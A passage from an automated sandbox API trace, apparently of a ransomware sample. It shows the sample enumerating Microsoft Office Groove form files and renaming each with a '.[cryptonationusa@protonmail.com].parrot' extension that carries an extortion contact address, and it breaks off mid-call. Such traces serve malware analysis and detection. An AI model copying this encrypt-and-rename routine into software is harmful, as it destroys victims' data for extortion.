SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.576] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.581] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.581] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.581] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.582] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0192.582] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.589] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.589] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.590] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.590] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0192.590] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.591] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.596] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.596] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfed14300, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfed14300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.598] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfecee1a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BACKGR~1.PAR")) returned 1 [0192.598] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.598] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.600] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.600] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfb9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xfb9, lpOverlapped=0x0) returned 1 [0192.600] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.601] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.605] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.605] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.607] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.607] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x738, lpOverlapped=0x0) returned 1 [0192.607] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.607] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\teal.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Teal.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\teal.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.659] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.659] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.661] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.661] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x739, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x739, lpOverlapped=0x0) returned 1 [0192.662] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\TexturedBlue.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\texturedblue.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.668] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.668] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.670] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.670] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x733, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x733, lpOverlapped=0x0) returned 1 [0192.670] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.671] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\VelvetRose.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\velvetrose.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.676] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0192.676] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfedf8b40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfedf8b40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.677] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe720c00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADOBEC~1.PAR")) returned 1 [0192.678] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.678] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.680] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.681] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x8f8, lpOverlapped=0x0) returned 1 [0192.681] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.681] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsversion1warning.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsversion1warning.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.686] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.686] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.687] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.688] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1499, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1499, lpOverlapped=0x0) returned 1 [0192.688] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticons.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.693] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.693] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.695] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.695] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x638, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x638, lpOverlapped=0x0) returned 1 [0192.695] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticonsmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticonsmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.700] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.700] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.702] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.702] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x164a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x164a, lpOverlapped=0x0) returned 1 [0192.703] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewframe.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewframe.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.707] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.708] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.709] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.709] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xadf, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xadf, lpOverlapped=0x0) returned 1 [0192.709] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewtemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.714] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.714] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.715] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.715] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1bfb, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1bfb, lpOverlapped=0x0) returned 1 [0192.716] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.716] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formtoolimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formtoolimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.720] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.720] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.722] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.722] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2577, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x2577, lpOverlapped=0x0) returned 1 [0192.722] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.723] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form_edit.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form_edit.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.728] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.728] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0192.729] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.729] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x267, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x267, lpOverlapped=0x0) returned 1 [0192.729] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.729] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\launch.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\LAUNCH.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\launch.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.733] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.733] ReadFile (in: hFile=0x1fc, 